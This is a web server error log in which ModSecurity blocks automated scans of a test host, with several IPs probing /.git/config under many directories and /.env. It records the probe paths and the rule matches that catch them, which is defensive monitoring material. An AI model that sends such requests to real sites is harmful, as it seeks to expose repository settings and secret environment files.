[Wed Sep 04 15:26:29.481536 2024] [:error] [pid 1669687] [client 45.135.232.70:53708] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /samples/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/.git/config&quot;] [unique_id &quot;ZthgBbjC_0gXYx9o8kVREwAAAAc&quot;]
[Wed Sep 04 15:26:29.481543 2024] [:error] [pid 1668042] [client 45.135.232.70:53672] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-includes/js/.git/config&quot;] [unique_id &quot;ZthgBWI5LdyeeUHh3Jqz0QAAAAU&quot;]
[Wed Sep 04 15:26:29.481804 2024] [:error] [pid 1668042] [client 45.135.232.70:53672] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-includes/js/.git/config&quot;] [unique_id &quot;ZthgBWI5LdyeeUHh3Jqz0QAAAAU&quot;]
[Wed Sep 04 15:26:29.481949 2024] [:error] [pid 1669687] [client 45.135.232.70:53708] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/.git/config&quot;] [unique_id &quot;ZthgBbjC_0gXYx9o8kVREwAAAAc&quot;]
[Wed Sep 04 15:26:29.482287 2024] [:error] [pid 1669687] [client 45.135.232.70:53708] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/.git/config&quot;] [unique_id &quot;ZthgBbjC_0gXYx9o8kVREwAAAAc&quot;]
[Wed Sep 04 15:26:29.492667 2024] [:error] [pid 1668040] [client 45.135.232.70:53718] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /web/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;ZthgBVJ05zQv9GkBJzvFNgAAAAM&quot;]
[Wed Sep 04 15:26:29.493008 2024] [:error] [pid 1668040] [client 45.135.232.70:53718] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;ZthgBVJ05zQv9GkBJzvFNgAAAAM&quot;]
[Wed Sep 04 15:26:29.493237 2024] [:error] [pid 1668040] [client 45.135.232.70:53718] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;ZthgBVJ05zQv9GkBJzvFNgAAAAM&quot;]
[Wed Sep 04 15:26:29.493932 2024] [:error] [pid 1668039] [client 45.135.232.70:53768] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;ZthgBQns1omtyxaAJPy6agAAAAI&quot;]
[Wed Sep 04 15:26:29.494204 2024] [:error] [pid 1668038] [client 45.135.232.70:53772] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.git/config&quot;] [unique_id &quot;ZthgBT3fPta-nmxGgwCrvwAAAAE&quot;]
[Wed Sep 04 15:26:29.494372 2024] [:error] [pid 1668039] [client 45.135.232.70:53768] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;ZthgBQns1omtyxaAJPy6agAAAAI&quot;]
[Wed Sep 04 15:26:29.494756 2024] [:error] [pid 1668039] [client 45.135.232.70:53768] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;ZthgBQns1omtyxaAJPy6agAAAAI&quot;]
[Wed Sep 04 15:26:29.495892 2024] [:error] [pid 1668038] [client 45.135.232.70:53772] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.git/config&quot;] [unique_id &quot;ZthgBT3fPta-nmxGgwCrvwAAAAE&quot;]
[Wed Sep 04 15:26:29.496139 2024] [:error] [pid 1679851] [client 45.135.232.70:53678] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /user/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.git/config&quot;] [unique_id &quot;ZthgBSJNf6qDpcOZEHa14wAAAAg&quot;]
[Wed Sep 04 15:26:29.496187 2024] [:error] [pid 1668038] [client 45.135.232.70:53772] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.git/config&quot;] [unique_id &quot;ZthgBT3fPta-nmxGgwCrvwAAAAE&quot;]
[Wed Sep 04 15:26:29.496435 2024] [:error] [pid 1679851] [client 45.135.232.70:53678] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.git/config&quot;] [unique_id &quot;ZthgBSJNf6qDpcOZEHa14wAAAAg&quot;]
[Wed Sep 04 15:26:29.496698 2024] [:error] [pid 1679851] [client 45.135.232.70:53678] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.git/config&quot;] [unique_id &quot;ZthgBSJNf6qDpcOZEHa14wAAAAg&quot;]
[Wed Sep 04 15:26:29.501450 2024] [:error] [pid 1669081] [client 45.135.232.70:53728] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /src/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;ZthgBRgJ4MEPOnpEXQ6-KQAAAAY&quot;]
[Wed Sep 04 15:26:29.501661 2024] [:error] [pid 1669081] [client 45.135.232.70:53728] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;ZthgBRgJ4MEPOnpEXQ6-KQAAAAY&quot;]
[Wed Sep 04 15:26:29.501843 2024] [:error] [pid 1669081] [client 45.135.232.70:53728] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;ZthgBRgJ4MEPOnpEXQ6-KQAAAAY&quot;]
[Wed Sep 04 15:26:29.588254 2024] [:error] [pid 1668041] [client 45.135.232.70:53742] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/themes/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;ZthgBdyptEyCxv2bjOmTTwAAAAQ&quot;]
[Wed Sep 04 15:26:29.588942 2024] [:error] [pid 1668041] [client 45.135.232.70:53742] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;ZthgBdyptEyCxv2bjOmTTwAAAAQ&quot;]
[Wed Sep 04 15:26:29.589396 2024] [:error] [pid 1668041] [client 45.135.232.70:53742] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;ZthgBdyptEyCxv2bjOmTTwAAAAQ&quot;]
[Fri Sep 06 07:04:12.547097 2024] [:error] [pid 1713981] [client 179.43.188.122:55230] [client 179.43.188.122] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZtqNTN5-kPkg6nbYKE_JPgAAAAM&quot;]
[Fri Sep 06 07:04:12.548958 2024] [:error] [pid 1713981] [client 179.43.188.122:55230] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZtqNTN5-kPkg6nbYKE_JPgAAAAM&quot;]
[Fri Sep 06 07:04:12.549431 2024] [:error] [pid 1713981] [client 179.43.188.122:55230] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZtqNTN5-kPkg6nbYKE_JPgAAAAM&quot;]
[Sat Sep 07 15:34:39.102544 2024] [:error] [pid 1737453] [client 91.92.240.240:65166] [client 91.92.240.240] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZtxWbz6N5KKzkiVyVwcg-AAAAAU&quot;]
[Sat Sep 07 15:34:39.103471 2024] [:error] [pid 1737453] [client 91.92.240.240:65166] [client 91.92.240.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZtxWbz6N5KKzkiVyVwcg-AAAAAU&quot;]
[Sat Sep 07 15:34:39.103959 2024] [:error] [pid 1737453] [client 91.92.240.240:65166] [client 91.92.240.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZtxWbz6N5KKzkiVyVwcg-AAAAAU&quot;]
[Sat Sep 07 15:45:28.330193 2024] [:error] [pid 1749005] [client 91.92.240.240:65094] [client 91.92.240.240] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZtxY-FcGETrzybJsNq4zNAAAAA0&quot;]
[Sat Sep 07 15:45:28.330961 2024] [:error] [pid 1749005] [client 91.92.240.240:65094] [client 91.92.240.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZtxY-FcGETrzybJsNq4zNAAAAA0&quot;]
[Sat Sep 07 15:45:28.331446 2024] [:error] [pid 1749005] [client 91.92.240.240:65094] [client 91.92.240.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZtxY-FcGETrzybJsNq4zNAAAAA0&quot;]
[Sat Sep 07 18:11:02.318548 2024] [:error] [pid 1737449] [client 91.92.240.240:52020] [client 91.92.240.240] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Ztx7FvgLrg-HkgeFnNMDRAAAAAE&quot;]
